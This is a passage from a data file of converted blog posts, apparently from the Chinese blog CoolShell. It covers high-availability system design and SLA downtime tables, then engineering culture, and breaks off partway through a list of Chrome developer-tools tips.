CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2016-8-21 关于高可用的系统.md",
    "content": "---\nlayout: post\ntitle: 关于高可用的系统\ndate: 2016/8/21/ 4:34:53\nupdated: 2016/8/21/ 4:34:53\nstatus: publish\npublished: true\ntype: post\n---\n\n![HighAvailability-BK](../wp-content/uploads/2016/08/HighAvailability-BK-300x300.png)在《[这多年来我一直在钻研的技术](https://coolshell.cn/articles/17446.html)》这篇文章中，我讲述了一下，我这么多年来一直在关注的技术领域，其中我多次提到了工业级的软件，我还以为有很多人会问我怎么定义工业级？以及一个高可用性的软件系统应该要怎么干出来？这样我也可以顺理成章的写下这篇文章，但是没有人问，那么，我只好厚颜无耻的自己写下这篇文章了。哈哈。\n\n\n另外，我在一些讨论高可用系统的地方看到大家只讨论各个公司的技术方案，**其实，高可用的系统并不简单的是技术方案，一个高可用的系统其实还包括很多别的东西，所以，我觉得大家对高可用的系统了解的还不全面，为了让大家的认识更全面，所以，我写下这篇文章**。\n\n\n#### 理解高可用系统\n\n\n首先，我们需要理解什么是高可用，英文叫High Availability（[Wikipedia词条](https://en.wikipedia.org/wiki/High_availability)），基本上来说，就是要让我们的计算环境（包括软硬件）做到full-time的可用性。在设计上一般来说，需要做好如下的设计：\n\n\n\n1. 对软硬件的冗余，以消除单点故障。任何系统都会有一个或多个冗余系统做standby\n2. 对故障的检测和恢复。检测故障以及用备份的结点接管故障点。这也就是failover\n3. 需要很可靠的交汇点（CrossOver）。这是一些不容易冗余的结点，比如域名解析，负载均衡器等。\n\n\n听起似乎很简单吧，然而不是，细节之处全是魔鬼，冗余结点最大的难题就是对于有状态的结点的数据复制和数据一致性的保证（无状态结点的冗余相对比较简单）。冗余数据所带来的一致性问题是魔鬼中的魔鬼：\n\n\n* 如果系统的数据镜像到冗余结点是异步的，那么在failover的时候就会出现数据差异的情况。\n\n\n* 如果系统在数据镜像到冗余结点是同步的，那么就会导致冗余结点越多性能越慢。\n\n\n所以，很多高可用系统都是在做各种取舍，这需要比对着业务的特点来的，比如银行账号的余额是一个状态型的数据，那么，冗余时就必需做到强一致性，再比如说，订单记录属于追加性的数据，那么在failover的时候，就可以到备机上进行追加，这样就比较简单了（阿里目前所谓的异地双活其实根本做不到状态型数据的双活）。\n\n\n下面，总结一下高可用的设计原理：\n\n\n* 要做到数据不丢，就必需要持久化\n* 要做到服务高可用，就必需要有备用（复本），无论是应用结点还是数据结点\n* 要做到复制，就会有数据一致性的问题。\n* 我们不可能做到100%的高可用，也就是说，我们能做到几个9个的SLA。\n\n\n#### 高可用系统的技术解决方案\n\n\n我在《[分布式系统的事务处理](https://coolshell.cn/articles/10910.html)》中引用过下面这个图：这个图来自来自：Google App Engine的co-founder Ryan Barrett在2009年的Google I/O上的演讲《[Transaction Across DataCenter](http://snarfed.org/transactions_across_datacenters_io.html)》（视频： [http://www.youtube.com/watch?v=srOgpXECblk](http://www.youtube.com/watch?v=srOgpXECblk \"阿里旺旺无法确定该链接的安全性\")）\n\n\n![Transaction Across DataCenter](../wp-content/uploads/2014/01/Transaction-Across-DataCenter.jpg)\n\n\n这个图基本上来说是目前高可用系统中能看得到的所有的解决方案的基础了。M/S、MM实现起来不难，但是会有很多问题，2PC的问题就是性能不行，而Paxos的问题就是太复杂，实现难度太大。\n\n\n总结一下各个高可用方案的的问题：\n\n\n* 对于最终一致性来说，在宕机的情况下，会出现数据没有完全同步完成，会出现数据差异性。\n* 对于强一致性来说，要么使用性能比较慢的[XA系](https://en.wikipedia.org/wiki/X/Open_XA)的两阶段提交的方案，要么使用性能比较好，但是实现比较复杂的Paxos协议。\n\n\n注：这是软件方面的方案。当然，也可以使用造价比较高的硬件解决方案，不过本文不涉及硬件解决方案。\n\n\n另外，现今开源软件中，很多缓存，消息中间件或数据库都有持久化和Replication的设计，从而也都有高可用解决方案，但是开源软件一般都没有比较高的SLA，所以，如果我们使用开源软件的话，需要注意这一点。\n\n\n#### 高可用技术方案的示例\n\n\n下面，我们来看一下MySQL的高可用的方案的SLA（下图下面红色的标识表示了这个方案有几个9）：\n\n\n[![mysql-high-availability-solutions-feb-2015-webinar-9-638](../wp-content/uploads/2016/08/mysql-high-availability-solutions-feb-2015-webinar-9-638.jpg)](http://www.slideshare.net/andrewjamesmorgan/mysql-high-availability-solutions-feb-2015-webinar)\n\n\n图片来源：[MySQL High Availability Solutions](http://www.slideshare.net/andrewjamesmorgan/mysql-high-availability-solutions-feb-2015-webinar)\n\n\n简单解释一下MySQL的这几个方案（主要是想表达一个越多的9就越复杂）\n\n\n* MySQL Repleaction就是传统的异步数据同步或是半同步Semi-Sync（只要有一个slave收到更新就返回成功）这个方式本质上不到2个9。\n* MySQL Fabric简单来说就是数据分片下的M/S的读写分离模式。这个方案的的可用性可以达到99%\n* DRBD通过底层的磁盘同步技术来解决数据同步的问题，就是RAID 1——把两台以上的主机的硬盘镜像成一个。这个方案不到3个9\n* Solaris Clustering/Oracle VM ，这个机制监控了包括硬件、操作系统、网络和数据库。这个方案一般会伴随着节点间的“心跳机制”，而且还会动用到SAN（Storage Area Network）或是本地的分布式存储系统，还会动用虚拟化技术来做虚拟机的迁移以降低宕机时间的概率。这个解决方案完全就是一个“全栈式的解决方案”。这个方案接近4个9。\n* MySQL Cluster是官方的一个开源方案，其把MySQL的集群分成SQL Node 和Data Node，Data Node是一个自动化sharing和复制的集群NDB，为了更高的可用性，MySQL Cluster采用了“完全同步”的数据复制的机制来冗余数据结点。这个方案接近5个9。\n\n\n那么，这些2个9，3个9，4个9，5个9是什么意思呢？又是怎么来的呢？请往下看。\n\n\n#### 高可用性的SLA的定义\n\n\n**上面那些都不是本文的重点，本文的重点现在开始，如何测量系统的高可用性**。当然是SLA，全称[Service Level Agrement](https://en.wikipedia.org/wiki/Service-level_agreement)，也就是有几个9的高可用性。\n\n\n工业界有两种方法来测量SLA，\n\n\n* 一个是故障发生到恢复的时间\n* 另一个是两次故障间的时间\n\n\n但大多数都采用第一种方法，也就是故障发生到恢复的时间，也就是服务不可用的时间，如下表所示：\n\n\n\n\n| 系统可用性% | 宕机时间/年 | 宕机时间/月 | 宕机时间/周 | 宕机时间/天 |\n| --- | --- | --- | --- | --- |\n| 90% (1个9) | 36.5 天 | 72 小时 | 16.8 小时 | 2.4 小时 |\n| 99% (2个9) | 3.65 天 | 7.20 小时 | 1.68 小时 | 14.4 分 |\n| 99.9% (3个9) | 8.76 小时 | 43.8 分 | 10.1 分钟 | 1.44 分 |\n| 99.99% (4个9) | 52.56 分 | 4.38 分 | 1.01 分钟 | 8.66 秒 |\n| 99.999% (5个9) | 5.26 分 | 25.9 秒 | 6.05 秒 | 0.87 秒 |\n\n\n比如，99.999%的可用性，一年只能有5分半钟的服务不可用。感觉很难做到吧。\n\n\n**就算是3个9的可用性，一个月的宕机时间也只有40多分钟，看看那些设计和编码不认真的团队，把所有的期望寄托在人肉处理故障的运维团队， 一个故障就能处理1个多小时甚至2-3个小时，连个自动化的工具都没有，还好意思在官网上声明自己的SLA是3个9或是5个9，这不是欺骗大众吗？**。\n\n\n#### 影响高可用的因素\n\n\n老实说，我们很难计算我们设计的系统有多少的可用性，因为影响一个系统的因素实在是太多了，除了软件设计，还有硬件，还有每三方的服务（如电信联通的宽带SLA），当然包括“建筑施工队的挖掘机”。所以，正如SLA的定义，**这不仅仅只是一个技术指标，而是一种服务提供商和用户之间的contract或契约**。**这种工业级的玩法，就像飞机一样，并不是把飞机造出来就好了，还有大量的无比专业的配套设施、工具、流程、管理和运营**。\n\n\n简而言之，SLA的几个9就是能持续提供可用服务的级别，不过，工业界中，会把服务不可用的因素分成两种：一种是有计划的，一种是无计划的。\n\n\n##### 无计划的宕机原因\n\n\n下图来自Oracle的 《[High Availability Concepts and Best Practices](https://docs.oracle.com/cd/A91202_01/901_doc/rac.901/a89867/pshavdtl.htm)》\n\n\n \n\n\n##### unplaned_downtime有计划的宕机原因\n\n\n下图来自Oracle的 《[High Availability Concepts and Best Practices](https://docs.oracle.com/cd/A91202_01/901_doc/rac.901/a89867/pshavdtl.htm)》\n\n\n![planned_downtime](../wp-content/uploads/2016/08/planned_downtime.gif)\n\n\n \n\n\n我们可以看到，上面的宕机原因包括如下：\n\n\n无计划的\n\n\n* 系统级的故障 –  包括主机、操作系统、中间件、数据库、网络、电源以及外围设备\n* 数据和中介的故障 – 包括人员误操作、硬盘故障、数据乱了\n* 还有：自然灾害、人为破坏、以及供电问题。\n\n\n有计划的\n\n\n* 日常任务：备份，容量规划，用户和安全管理，后台批处理应用\n* 运维相关：数据库维护、应用维护、中间件维护、操作系统维护、网络维护\n* 升级相关：数据库、应用、中间件、操作系统、网络、包括硬件升级\n\n\n#### 真正决定高可用系统的本质原因\n\n\n从上面这些会影响高可用的SLA的因素，你看到了什么？如果你还是只看到了技术方面或是软件设计的东西，那么你只看到了冰山一角。我们再仔细想一想，**那个5个9的SLA在一年内只能是5分钟的不可用时间，5分钟啊，如果按一年只出1次故障，你也得在五分钟内恢复故障，让我们想想，这意味着什么？**\n\n\n**如果你没有一套科学的牛逼的软件工程的管理，没有牛逼先进的自动化的运维工具，没有技术能力很牛逼的工程师团队，怎么可能出现高可用的系统啊**。\n\n\n是的，**要干出高可用的系统，这TMD就是一套严谨科学的工程管理**，其中包括但不限于了：\n\n\n* 软件的设计、编码、测试、上线和软件配置管理的水平\n* 工程师的人员技能水平\n* 运维的管理和技术水平\n* 数据中心的运营管理水平\n* 依赖于第三方服务的管理水平\n\n\n深层交的东西则是——对工程这门科学的尊重：\n\n\n* 对待技术的态度\n* 一个公司的工程文化\n* 领导者对工程的尊重\n\n\n**所以，以后有人在你面前提高可用，你要看的不是他的技术设计，而还要看看他们的工程能力，看看他们公司是否真正的尊重工程这门科学**。\n\n\n#### 其它\n\n\n有好些非技术甚至技术人员和我说过，做个APP做个网站，不就是找几个码农过来写写代码嘛。等系统不可用的时候，他们才会明白，要找技术能力比较强的人，但是，**就算你和他们讲一万遍道理，他们也很难会明白写代码怎么就是一种工程了，而工程怎么就成了一门科学了。其实，很多做技术的人都不明白这个道理**。\n\n\n包括很多技术人员也永远不会理解，为什么要做好多像Code Review、自动化运维、自动化测试、持续集成之类这样很无聊的东西。就像我在《[从Code Review 谈如何做技术](https://coolshell.cn/articles/11432.html)》中提到的，阿里很多的工程师，架构师/专家，甚至资深架构师都没有这个意识，当然，这不怪他们，因为经历决定思维方式，他们的经历的是民用级的系统，做的都是堆功能的工作，的确不需要。\n\n\n看完这些，最后让我们都扪心自问一下，你还敢说你的系统是高可用的了么？ ;-)\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![从Gitlab误删除数据库想到的](../wp-content/uploads/2017/02/gitlab-600-150x150.jpg)](https://coolshell.cn/articles/17680.html)[从Gitlab误删除数据库想到的](https://coolshell.cn/articles/17680.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [![分布式系统的事务处理](../wp-content/uploads/2014/01/trade-off-150x150.jpg)](https://coolshell.cn/articles/10910.html)[分布式系统的事务处理](https://coolshell.cn/articles/10910.html)\n* [![IoC/DIP其实是一种管理思想](../wp-content/uploads/2013/07/inverted-bookshelf_thumb-150x150.jpg)](https://coolshell.cn/articles/9949.html)[IoC/DIP其实是一种管理思想](https://coolshell.cn/articles/9949.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/6775.html)[Bret Victor – Inventing on Principle](https://coolshell.cn/articles/6775.html)\nThe post [关于高可用的系统](https://coolshell.cn/articles/17459.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2016-9-18 什么是工程师文化？.md",
    "content": "---\nlayout: post\ntitle: 什么是工程师文化？\ndate: 2016/9/18/ 8:23:11\nupdated: 2016/9/18/ 8:23:11\nstatus: publish\npublished: true\ntype: post\n---\n\n![engineer](../wp-content/uploads/2016/09/engineer.jpg) 四年前，我在QCon上演讲了一个《[建一支强大的小团队](http://www.infoq.com/cn/presentations/Form-powerful-team)》（整理后的[PPT分享于这里](http://vdisk.weibo.com/s/gN-sQ/1351485199)）提到了工程师文化，今天，我想在这里再写一篇关于工程师文化的文章，一方面是因为我又有了一些想法和体会，另一方面，因为我也正走在创业的道路，毫无疑问，要建一个有浓重的工程师文化的团队或公司，所以有必要把自己的相关想法形有成白底黑字的“字据”，以供打自己的脸——“要是未来没有做到，这篇文章就打我未来的脸” || “这篇文章太幼稚了，未来的我会打我现在的脸”，当然，如果要打脸，我希望是前者。\n\n\nAgain，**这篇文章不是招人的贴子，因为我觉得，招聘第一重要的事，不是发招聘广告或是找猎头挖人，而是先得让自己变成一个能配得上真正工程师的公司，然后再谈吸引人的事**。\n\n\n#### 为什么要工程师文化\n\n\n看看最近二十年来社会的发展，计算机和互联网已经渗透到了这个社会的每一个角落，各式各样的计算机技术成为了整个世界发展的强大引擎，各式各样的创新，无论是业务创新还是技术创新，都是依托于技术的快速演进，技术成了解放生产力提高社会运作的效率的中坚力量。以美帝为首的技术创新公司着着实实的改变着这个世界和人类的生活和生产习惯。\n\n\n**今天，每个从事计算机行业的技术人员都应该感到幸运，因为，我们不但选对了行业，也出生在了正确的时代，可以感受到前所未有的刺激和变化，相比起我们的父辈，我们的人生，能经历这样的时代，实在是一种幸运。**所以，选对了职业并出生在了正确的年代的我们，此时只需要思考的一个问题，那就是，我是否呆在了正确的地方用正确的方式做事？\n\n\n\n在我看来，这个世界上有三种商业公司，\n\n\n* **运营或销售驱动型的公司**。这类的公司以运营和营销见长，技术对于他们来说，更多的只是为了支持大规模的营销活动，以及成本上的控制，所以，基本上来说不太需要技术创新。这种公司最大的问题就是缺乏安全感。\n\n\n* **产品驱动型的公司**。这类公司以产品见长，通过创造能提升用户生活体验的产品见长，技术对于他们来说，除了支持大规模的在线用户之外，他们会更多的去寻找那些为了增强用户体验，提高整个业务流程效率的技术创新。比如：UI的交互方面的，整个业务流程方面的。这种公司最大的问题，就是容易被别人模仿和抄袭。\n\n\n* **技术驱动型的公司**。这类的公司相信技术能改变世界，他们更多的是用强大的工程技术来创造有颠覆性的东西，更多的是用各种自动化的技术取代人类。比如：近代的蒸汽机技术取代了大量的人工，数字技术取代了大量信息传递的人工，现代，这类公司还希望通过人工智能来取代愚蠢的人类来做决定。这种公司最大的问题就是可能做出叫好不叫座的东西。\n\n\n这三种公司都可能成功，也都有问题，但是，无一例外，他们都需要强大的技术支撑，只不过，他们把技术所放在的位置不一样。\n\n\n无论你有多么的看不起技术人员，你都无法否认，你今天的生活相当的依赖这帮工程师，没有他们，你恐怕都不知道怎么生活了。邓爷爷几十年前就说过——“科学技术是第一生产力” ，无论什么样的科学技术的理论要落地都会依赖于工程技术有多先进。\n\n\n所以，**在今天，作为一个IT或互联网公司，“工程师文化”不是一个问题，而是一个常识**！\n\n\n#### 工程师文化的特征\n\n\n我下面罗列的这些特征，来源于：Google的《[重新定义公司](https://book.douban.com/subject/26582822/)》，我在Amazon的工作经历，37Signals的《[Rework](https://coolshell.cn/articles/9156.html)》，Quora上的 [What Makes Good Engineering Culture?](https://www.quora.com/What-makes-a-good-engineering-culture)  Slideshare上的 [What Makes Good Engineering Culture](http://www.slideshare.net/edmondlau/what-makes-a-great-engineering-culture)，以及我最近这半年来的一些实践。\n\n\n简单说来，**我可以简单的把这多的工程师文化的总结成两大类：“自由” 和 “效率”**。\n\n\n本来还应该有个“创新”，但我个人认为，**创新的前提是——在自由的环境下对提高效率的痴迷，就一定会发生创新。**\n\n\n创新不是凭空出现新的东西，其实，**观察一下人类的发展史，不难发现，几乎所有的创新基本上跳出原来的思维模式用新的思维模式对原有问题的效率进行质的提升**。比如：通信、交通、医疗、教育、生活……几乎全都是在优化效率。\n\n\n所以，如果你的精神不自由，你很难跳出老的思维模式，你用老的思维模式你一定不会想到新的方法和方式，如果不是对效率的提升，这个创新可能会不接地气。\n\n\n因此，我认为，工程师文化就是自由加效率！\n\n\n#### 自由\n\n\n首先，工程师文化意味的创新文化，工程师都是有创新冲动的人，因为手里有创造技能的人通常都会有想创造点什么的冲动。而创新的源泉水来源于精神的解放，精神自由才会引发各式各样的奇思怪想，才会有常人觉得不可能的疯狂想法和想像力，而这些想法和想像力导致了创新。\n\n\n精神上的自由具体表现在：\n\n\n* **自我驱动**。自己管理自己是最好的管理。最失败的管理就是家长和保姆式的管理。兴趣出发的工作才可能迸发出真正的动力。\n\n\n* **灵活的工作时间和地点**。工程师们更多的是脑力工作，而不是体力工作，工作上时间和地点的自由安排可以让工程师们的脑力工作更有效。Remote是一个很不错的工作方式，开源社区基本上都是这钟方式。和Remote有关的话题可参看37Signals的这本书《[Remote](https://book.douban.com/subject/25861795/)》\n\n\n* **信息平等**。这意味着，全体员工得到的是原始信息，而不是被管理者们层层加工消化后的信息，信息的屏蔽很容易造成误解和完全错误的行为。信息的平等，大的包括战略、方向、目标、财务，小的包括文档、代码、和知识的共享等。同样，也表现在意见表达上，任何人都有可能表达自己的意见和建议的平等机会，这样才会激发出更多的思路和思辩，从而有不同的更好的思路出现。而不是，大家都看到了问题，而没有人敢说。在Google除了代码全员共享，还有Thanks God, It’s Friday的文化，每周五，高管们会出来，任员工提各种尖锐的问题，在Amazon，代码和文档基本上全员开放，包括财务报表也对员工开放，另外，除了所有的NB的Principle SDE隔三岔五都会有一个Principle Talk（有很多Talk相当令人开脑洞），还有Amazon内部的Up the River文化，每年会选出一批公司最聪明最有想法的人集思会，讨公司下一步的和战略，并可以把相应的KPI直接按给Senior VP。\n\n\n* **不害怕错误**。处理错误的正确的姿势是分析总结教训，而不是惩罚故障人。前者让人改善进步，后者让人萎缩不前。最大的错误就是不敢犯错，最大的问题就是不敢直面问题。\n\n\n* **宽松的审批系统甚至没有审批系统**。审批通常暗示着三件事，1）对人的不完全信任，2）繁琐的流程，3）思维上的束缚。这些都是创新和想像力的天敌。一个公司的监管、审批、流程越重，这个公司的活力也就越差。\n\n\n* **20%的自由时间**。这是Google公司提出来的，员工有20%自由的时间做自己想做的项目，Gmail就是这么出来的。\n\n\n#### 效率\n\n\n工程师天生是追求效率的。有人说认为程序员花大量的时间做自动化的工具，还不如人肉的效率高，比如，写自动化的脚本花5个小时，而重复做这件事200次只花3个小时。有这样的理解的人根本不懂工程。\n\n\n一方面，这个工具可以共享重用，更多的人可以从中受益，这次我花5个小时开发这个工具，下次只用1小时改一下就可以用在别的地方，这是着眼于未来而不是眼下的成本。更重要的是，这是一种文化，一种提高效率的文化，他会鼓励和激发出更多的这样的事情发生。**如果你因为一个程序员花大量的时间开发自动化的工具，而认为这个程序员没有效率，对之批评甚至惩罚的话，那么你就扼杀了提高效率的文化**（关于效率，大家可以看看我的另一篇文章《[关于加班和效率](https://coolshell.cn/articles/10217.html)》，你会真正了解什么是效率）\n\n\n**人类之所以比别的动物聪明就是会使用和发明工具**，而古语也有云：“工欲善其事，必先利其器”，看看美军的装备你就知道战争工具的好坏有多重要了，**一个公司的强大之处在执行力，而执行力的强大之处在于你有什么样的支持工具。这些，已经不是工程师文化，而是人类发展的文化**。\n\n\n针对于工程师文化来说，尤其是软件工程，提升工程效率的具体表现如下：\n\n\n* **简化**。简化不是简陋，简单的东西通常意味着用户更好理解，也意味着更容易的维护和运维。就像阿里推行的“小而美”，就像乔布期推崇的“没有产品手册简单易用的产品”，就像Amazon推行的Working Backwards里说的那样，一个新的产品或功能，产品经理需要写三个文档：媒体公关文、用户手册、常见问题，三个文档总共加起来不超过两页A4纸，且不准用任何图片说明，目的就是为了让产品简化和容易使用。\n\n\n* **残酷无情的推行自动化**。编写程序的最本质的目的就是自动化，看看人类发展史上自动化了多少东西。**对于自动化来说，不仅仅只是消除人肉的重复劳动，更重要的是，很多事情人完全干不过机器。**比如：加一台机器，程序在秒级就可以完成，而人是永远不可能达到这样的速度的，再比如：电商中用程序管理数量巨大的订单的自动化系统，加再多的人都完成的不可能像机器那样完成的又好又快。自动化需要大力开发提高生产力的工具，比如：持续集成，持续部署，自动化运维，基础自动化运维，甚至自动化的运营工具。（Amazon的软件工程中对自动化和简代相当迷恋）\n\n\n* **避免无效率的组织架构和无效率的管理**。这体现在这些方面：1）扁平化的组织架构，2）努力用自动化工具取代支持型的工作，3）不超过10个人的全栈小团队，4）不按人员的技能分工而是按其负责的产品或功能分工（关于分工，请参看《[让我们来谈谈分工](https://coolshell.cn/articles/17295.html)》），5）开会不是解决问题，开会是表决提案，6）通过产品的目标或信条Tenets来减少沟通和决策过程（Amazon里的每个部门，每个团队，每个产品都有自己的Tenets，这个Tenets标明了要什么不要什么，这样可以避免很多扯皮和难缠的trade-off的决择，比如：AWS的几个信条：运维是最高优级的——这意味着只要是会让运维变得复杂的需求都可能会工程团队被拒掉，Throughput & Latency不能更差——这意味着，功能要为性能让路，因为性能变差了，用户就要买更多的资源）\n\n\n* **正确的组件抽象**。抽象是简化的一部份，一方面，抽象意味着重用和通用，另一方面抽象意味着强大的扩展性，以适配各种可能性。最重要的是，抽象意味着技术能力的输出，无论是内部的其它团队还外部的团队。比如：Google的MapReduce/BigTable/ProtoBuffer，FaceBook的Thrift，还有Amazon内部的WebService框架Coral Service、处理日志监控的Timber，以及全线AWS产品都用到的Amazon Lock Framework（一个分布式锁框架）……\n\n\n* **开发高质量的产品**。因为高质量的代码，不但可以容易的修改和维护，还可以因为少处理线上故障，从而有更多的时间去为未来做更多创造性的工作。这意味着需要有非常严谨的Design Review，Code Review，以及测试，关于Code Review，可以参看这篇文章《[从Code Review 谈如何做技术](https://coolshell.cn/articles/11432.html)》，关于严谨的测试，可以参看这篇文章《[如何做性能测试](https://coolshell.cn/articles/17381.html)》\n\n\n* **不断的提高标准以及招聘最好的人**。取法其上，得乎其中，取法其中，得乎其下，取法其下，法不得也。如果一个公司或一个团队想变得越来越好，越来越强大的话，就必需要不断的提高自己的工作标准，提高工作标准意味着要不断地培养和招聘更好的人。在Amazon和Google的招聘官中都有一个叫Bar Rasier的人，这个人就是为了提高招聘标准而设立的。\n\n\n* **创建一个持续改善的文化**。一个好的组织，一个好的团队，是需要不断反思前进的，这需要全体员工一起来的。微观层面上，在项目做完后需要有一个总结会分析项目中的得失，在故障出现后，需要有故障分析会，反思得失，在Amazon，严重的故障，需要写一个COE（Correction of Errors）的文档，其中有一节叫“Ask 5 Whys”，让你自己问自己至少5个为什么。在宏观层面，一个公司每年都应该做一定的工作数据分析或是员工调查，比如，是否招聘到了不错的人、工作的投入产出比，员工在哪些地方花时间了，等等，然后不断的用技术手段来改善。（Amazon每年的工程师员工调查表是我活那么大见过的最细最细的调查表了， 问题除了对公司、经理、文化的，还有从，日常工作、开发环境、持结集成，测试自动化、产品质量、软件架构、软件维护、线上问题处理、年度计划、数据仓库建设、通用工具投票……这个员工调查直接导致公司的对工程的投资方向）\n\n\n#### 工程师文化如何落地\n\n\n如果你要让任何文化在公司内得到执行，你有下面几个手段可以选择：\n\n\n* **通过政治手段：你需要把住三个地方——招聘、绩效考核 & 升职**。比如，你要落地工程师文化中的简化和自动化，那你你在招聘的时候，你需要把懂简化和喜欢自动化的人招进来，然后在绩效考核和升职的地方设置上一条硬性指标——你今年简化了什么？自动化了什么？如果没有，对不起不但不能升职，绩效可能还不达标。\n\n\n* **通过经济手段：让不做这事的成本 > 要做这个的成本。**然后，正常的人类都会选择成本低的方案。比如，如果你要推行Design/Code Review/UT以提高质量，你就把QA和OPS团队全挪到一边去，让Dev团队自己测试，自己负责，这样等这些Dev重复多次手动测试，处理多次线上的弱智故障，他们就会自然而然的写自动化测试和做Code Review了，而QA和OPS团队只是帮Dev你做工具罢了，而测试和运维的事全是你DEV的Ownership，出了故障也是Dev自己负责，于是，他们就会发现，不做Code Review和UT的成本远远大于做C Code Review/UT的成本，他们就会去做成本低的事的。\n\n\n最后，工程师文化要落地，还有几个小条件，\n\n\n* **第一，团队要小，Ownership很重要，Eat Your Own Dog Food。** 没有人帮你擦屁股，自己的屎自己吃，没有痛苦，不会产生想进步的动力。\n\n\n* **第二，热爱学习和尝试**，学习尝试新的技术，开拓眼界，学习尝试新的思维方式，否则，呆在原地，原有的思维方式只会让你在原地打转转。\n\n\n* **第三，老板更多的相信技术而不是管理**。相信技术会用技术来解决问题，相信管理，那就只会有制度、流程和价值观来解决问题。\n\n\n#### 其它\n\n\n说了这么多，时代还在发展，不过，这是我这么多年经历或看到的工程师文化的东西了。最后吐几个槽——\n\n\n对于996和加班这个事，对于工程师来说从来都不是问题，在解决技术问题或是创造的时候，工程师是个很自觉的群体，基本不需要有别人驱动，工程师是最乐意Work Hard的人了。我相信几乎所有走上编程这个职业的人来说，基本上都是兴趣所至，觉得编程很有趣，但却被各个公司996搞得对编程毫无兴趣。为什么，你们这些公司要向中国的教育学习呢？人家本来对这事有比较高的兴趣的，但就是要通过考试/KPI/996这些东西把人家的兴趣一点一点的磨灭掉，把人变成机器、奴隶、牲口，**让人对学习和工作产生了厌倦和讨厌，会是你们这些管理者们所希望的？是不是只有把人变得不思进取了，你们才会管理？**就像《[软件开发中的两种管理方式](https://coolshell.cn/articles/4951.html)》中说的第一种人一样？\n\n\n另外，我不知道，为什么我一说这些东西，就会有很多人（包括程序员自己）来和我说我是个理想主义者，这些已经不是什么理想了，已被很多成功的公司用了很多很多年了。只是你没有见到过罢了。还有的人说，因为中国的国情不同。这更让我费解了。这让我想到了当年大清朝派了一堆人出国考察后回来后，说外国的那套共和的东西不符合中国国情，最终也在历史的潮流中被淹没掉了。另外，什么叫“中国的国情不同”？中国有全世界数一数二的互联网用户，也有全世界数一数二的市场，不再是以前那个一穷二白的年代了，中国的国情到底有哪些不同呢？\n\n\n我不知道各位工程师是为什么活的？但我觉得，**我们选择了一个刺激的职业，也赶上了这个行业大发展的时代，我们不妨扪心自问一下，你是否愿意让自己的能力、青春和热情就这样被磨灭了？**\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![《Rework》摘录及感想](../wp-content/uploads/2013/03/rework-150x150.jpg)](http://coolshell.cn/articles/9156.html)[《Rework》摘录及感想](http://coolshell.cn/articles/9156.html)\n* [![从Code Review 谈如何做技术](../wp-content/uploads/2014/04/code_review-150x150.jpg)](http://coolshell.cn/articles/11432.html)[从Code Review 谈如何做技术](http://coolshell.cn/articles/11432.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg](http://coolshell.cn/articles/5686.html)[多些时间能少写些代码](http://coolshell.cn/articles/5686.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/12.jpg](http://coolshell.cn/articles/4951.html)[软件公司的两种管理方式](http://coolshell.cn/articles/4951.html)\n* [![开发团队的效率](../wp-content/uploads/2014/06/software_development-150x150.png)](http://coolshell.cn/articles/11656.html)[开发团队的效率](http://coolshell.cn/articles/11656.html)\n* [![加班与效率](../wp-content/uploads/2013/07/Work-Overtime-150x150.jpg)](http://coolshell.cn/articles/10217.html)[加班与效率](http://coolshell.cn/articles/10217.html)\nThe post [什么是工程师文化？](https://coolshell.cn/articles/17497.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2017-1-19 Chrome开发者工具的小技巧.md",
    "content": "---\nlayout: post\ntitle: Chrome开发者工具的小技巧\ndate: 2017/1/19/ 12:25:55\nupdated: 2017/1/19/ 12:25:55\nstatus: publish\npublished: true\ntype: post\n---\n\nChrome的开发者工具是个很强大的东西，相信程序员们都不会陌生，不过有些小功能可能并不为大众所知，所以，写下这篇文章罗列一下可能你所不知道的功能，有的功能可能会比较实用，有的则不一定，也欢迎大家补充交流。\n\n\n话不多话，我们开始。\n\n\n#### 代码格式化\n\n\n有很多css/js的代码都会被 minify 掉，你可以点击代码窗口左下角的那个 **`{ }`**  标签，chrome会帮你给格式化掉。\n\n\n![](../wp-content/uploads/2017/01/pretty-code.gif)\n\n\n\n#### 强制DOM状态\n\n\n有些HTML的DOM是有状态的，比如<a> 标签，其会有 active，hover， focus，visited这些状态，有时候，我们的CSS会来定关不同状态的样式，在分析网页查看网页上DOM的CSS样式时，我们可以点击CSS样式上的 **`:hov`** 这个小按钮来强制这个DOM的状态。\n\n\n \n\n\n![](../wp-content/uploads/2017/01/state.gif)\n\n\n \n\n\n#### 动画\n\n\n现在的网页上都会有一些动画效果。在Chrome的开发者工具中，通过右上角的菜单中的 `More Tools` => `Animations` 呼出相关的选项卡。于是你就可以慢动作播放动画了（可以点选 `25%` 或 `10%`），然后，Chrome还可以帮你把动画录下来，你可以拉动动再画的过程，甚至可以做一些简单的修改。\n\n\n \n\n\n![](../wp-content/uploads/2017/01/animation.gif)\n\n\n#### 直接编辑网页\n\n\n在你的 console 里 输入下面的命令：\n\n\n`document.designMode = \"on\"` \n\n\n于是你就可以直接修改网页上的内容了。\n\n\nP.S. 下面这个抓屏中还演示了一个如何清空console的示例。你可以输入 clear() 或是 按 `Ctrl+L`（Windows下），`CMD + K` (Mac下)\n\n\n![](../wp-content/uploads/2017/01/editor.gif)\n\n\n \n\n\n#### 